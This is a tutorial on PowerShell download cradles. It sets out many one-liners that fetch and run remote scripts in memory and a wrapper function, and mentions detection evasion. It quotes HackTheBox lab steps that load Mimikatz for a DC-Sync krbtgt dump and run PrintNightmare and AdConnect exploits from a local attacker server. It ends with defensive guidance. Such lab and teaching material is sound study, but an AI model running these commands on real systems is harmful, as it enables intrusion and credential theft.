Understanding PowerShell Download Cradles: A Deep Dive
Introduction
PowerShell has revolutionized system administration and automation. One of its powerful yet often misunderstood features is the PowerShell download cradle. This article explores what download cradles are, their uses, and best practices for implementation.
What is a PowerShell Download Cradle?
A PowerShell download cradle is a technique that enables downloading and executing code directly in memory without writing to disk. This approach can help bypass security mechanisms.
Core Components and Techniques
Essential Cmdlets
Invoke-WebRequest
: Retrieves content from web pagesInvoke-Expression
(alias: IEX): Executes PowerShell commands from stringsSystem.Net.WebClient
: .NET class for web server interactions
Basic Syntax Example using Invoke-Mimikatz:
-
Load Script into memory:
-
Running Invoke-Mimikatz from memory:
Common Download Cradle Examples:
Basic WebClient Method
# Standard WebClient download cradle
IEX (New-Object Net.Webclient).downloadstring("https://example.com/script.ps1")
# PowerShell 3.0+ using Invoke-WebRequest (alias: iwr)
IEX (iwr 'https://example.com/script.ps1')
COM Object Methods
# Internet Explorer COM object
$ie = New-Object -comobject InternetExplorer.Application
$ie.visible = $False
$ie.navigate('https://example.com/script.ps1')
start-sleep -s 5
$r = $ie.Document.body.innerHTML
$ie.quit()
IEX $r
# Msxml2.XMLHTTP COM object (proxy-aware)
$h = New-Object -ComObject Msxml2.XMLHTTP
$h.open('GET','https://example.com/script.ps1',$false)
$h.send()
iex $h.responseText
Advanced Download Cradle Techniques:
# DNS TXT Record Method
IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(
((nslookup -querytype=txt "example.com" | Select -Pattern '"*"') -split '"'[0])
)))
# XML Document Method
$a = New-Object System.Xml.XmlDocument
$a.Load("https://example.com/command.xml")
$a.command.a.execute | iex
Creating a Secure Download Cradle:
Basic Setup
- Launch PowerShell with appropriate privileges
- Configure execution policy if needed
Set-ExecutionPolicy RemoteSigned
Secure Download Cradle Code:
Here’s a complete, production-ready download cradle implementation that incorporates logging, error handling, and security controls:
function Invoke-SecureDownloadCradle {
# Enable advanced function features like -Verbose
[CmdletBinding()]
param (
# Required URL parameter for the script to download
[Parameter(Mandatory=$true)]
[string]$Url,
# Optional custom User-Agent to avoid detection or meet requirements
[Parameter(Mandatory=$false)]
[string]$UserAgent = "PowerShell/SecurityAudit",
# Optional timeout in milliseconds (default 30 seconds)
[Parameter(Mandatory=$false)]
[int]$Timeout = 30000,
# Optional switch to enable Windows Event Log logging
[Parameter(Mandatory=$false)]
[switch]$EnableLogging
)
# Internal logging function to handle both event logs and verbose output
function Write-Log {
param($Message)
if ($EnableLogging) {
$logParams = @{
LogName = 'Application' # Write to Windows Application log
Source = 'SecureDownloadCradle'
EventId = 1000
EntryType = 'Information'
Message = $Message
}
try {
Write-EventLog @logParams
} catch {
Write-Warning "Logging failed: $_"
}
}
Write-Verbose $Message # Always write to verbose stream
}
try {
Write-Log "Starting download from: $Url"
# Force TLS 1.2 for security and reset cert callback to default
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = $null
# Initialize WebClient with security settings
$webClient = New-Object System.Net.WebClient
$webClient.Headers.Add("User-Agent", $UserAgent)
# Configure system proxy settings automatically
$webClient.Proxy = [System.Net.WebRequest]::GetSystemWebProxy()
$webClient.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
Write-Log "Downloading content..."
$scriptContent = $webClient.DownloadString($Url)
Write-Log "Content downloaded successfully"
# Execute the downloaded content safely using InvokeCommand
Write-Log "Executing script in memory"
$ExecutionContext.InvokeCommand.InvokeScript($false, [scriptblock]::Create($scriptContent), $null, $null)
Write-Log "Execution completed successfully"
} catch [System.Net.WebException] {
# Handle network-specific errors separately
$errorMsg = "Network error occurred: $($_.Exception.Message)"
Write-Log $errorMsg
throw $errorMsg
} catch {
# Handle all other errors
$errorMsg = "Unexpected error occurred: $_"
Write-Log $errorMsg
throw $errorMsg
} finally {
# Ensure proper cleanup of resources
if ($webClient) {
$webClient.Dispose()
Write-Log "WebClient disposed"
}
}
}
This implementation includes:
- Comprehensive error handling
- Event logging (when enabled - requires admin privileges as requires REG change)
- TLS 1.2 enforcement
- Proper proxy handling
- Certificate validation
- Resource cleanup
- Verbose output support
Example usage without logging:
#Import Script
. .\Invoke-SecureDownloadCradle.ps1
#Run
Invoke-SecureDownloadCradle -Url "http://[IP]/[SCRIPT].ps1" -Verbose
Example usage with logging:
#Import Script
. .\Invoke-SecureDownloadCradle.ps1
# Create Event Source
New-EventLog -LogName Application -Source "SecureDownloadCradle"
#Run
Invoke-SecureDownloadCradle -Url "http://[IP]/[SCRIPT].ps1" -Verbose
# Read the logs
Get-WinEvent -LogName Application | Where-Object {$_.ProviderName -eq "SecureDownloadCradle"}
-
+Notes+: A custom user agent can also be passed:
-UserAgent "CompanyName/UpdateService"
Real-World Examples Of Download-Cradle Use HackTheBox
- I will often use download cradles on hack the box and here are some recent examples:
Monteverde Box: Extracting the Administrator Password for Azure:
- +Full Walkthrough+: https://bloodstiller.com/walkthroughs/monteverde-box/
In this example, we used a download cradle to execute AdConnect exploitation directly in memory:
iex(new-object net.webclient).downloadstring('http://10.10.14.46:9000/AdConnectPOC.ps1')
- As the exploit is run in memory we get the administrators password without writing to disk.
Certified Box: Advanced Mimikatz Usage to perform a DC-Sync Attack:
- +Full Walkthrough+: https://bloodstiller.com/walkthroughs/certified-box/ Coming soon (it’s still in release arena. )
- Note this is not a spoiler as this is done post exploitation.
Setting Up the Environment
- Start a Python HTTP server to host the Mimikatz script:
python3 -m http.server 9000
Loading Mimikatz into Memory
Using a download cradle to load invoke-mimikatz directly into memory:
iex(new-object net.webclient).downloadstring('http://10.10.14.24:9000/Invoke-Mimikatz.ps1')
- +Note+: This will hang for a little bit, so just be patient.
Performing DC-Sync Attack
- Now that mimikatz is loaded into memory we can use it like we normally would and pass it arguments.
Invoke-Mimikatz -Command '"privilege::debug" "lsadump::dcsync /user:krbtgt /domain:administrator.htb"'
Driver Box: Running PrintNightmare POC from a download cradle:
-
+Full Walkthrough+: https://bloodstiller.com/walkthroughs/driver-box/ Coming soon (it’s still in release arena. )
-
Start python server to host the script:
python3 -m http.server 9000
- +Note+: I have this command aliased to
pws
-
Use the download cradle to load the POC directly into memory:
iex(new-object net.webclient).downloadstring('http://10.10.14.97:9000/CVE-2021-1675.ps1')
-
Execute the script from memory to create new user & add them to the admins:
Invoke-Nightmare -NewUser "bloodstiller" -NewPassword "bl00dst1ll3r!" -DriverName "PrintIt"
-
Verify the user has been added:
net user bloodstiller
Security Considerations
Detection Methods
- Modern security solutions detect download cradles through several means:
- PowerShell logging and ScriptBlock logging
- Network traffic analysis (especially
.DownloadString
patterns) - AMSI integration in PowerShell 5.0+
- EDR behavioral analysis
- Memory scanning for known patterns
Common Restrictions
- Organizations often implement:
# Execution Policy
Set-ExecutionPolicy Restricted
# AMSI Scanning
# Built into PowerShell 5.0+ by default
# AppLocker Rules
# Block PowerShell download cradle patterns
New-AppLockerPolicy -RuleType Path -Deny -Path "%SYSTEM32%\WindowsPowerShell\*\powershell.exe" -User Everyone
Defensive Recommendations
For system administrators:
-
Enable PowerShell logging:
# Enable detailed script block logging Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
-
Monitor for suspicious patterns:
- Direct execution using
IEX
- Base64 encoded commands
- Uncommon COM objects
- Unusual DNS TXT queries
- Direct execution using
-
Network Controls:
- Implement HTTPS inspection
- Block outbound PowerShell connections
- Monitor for unusual PowerShell network activity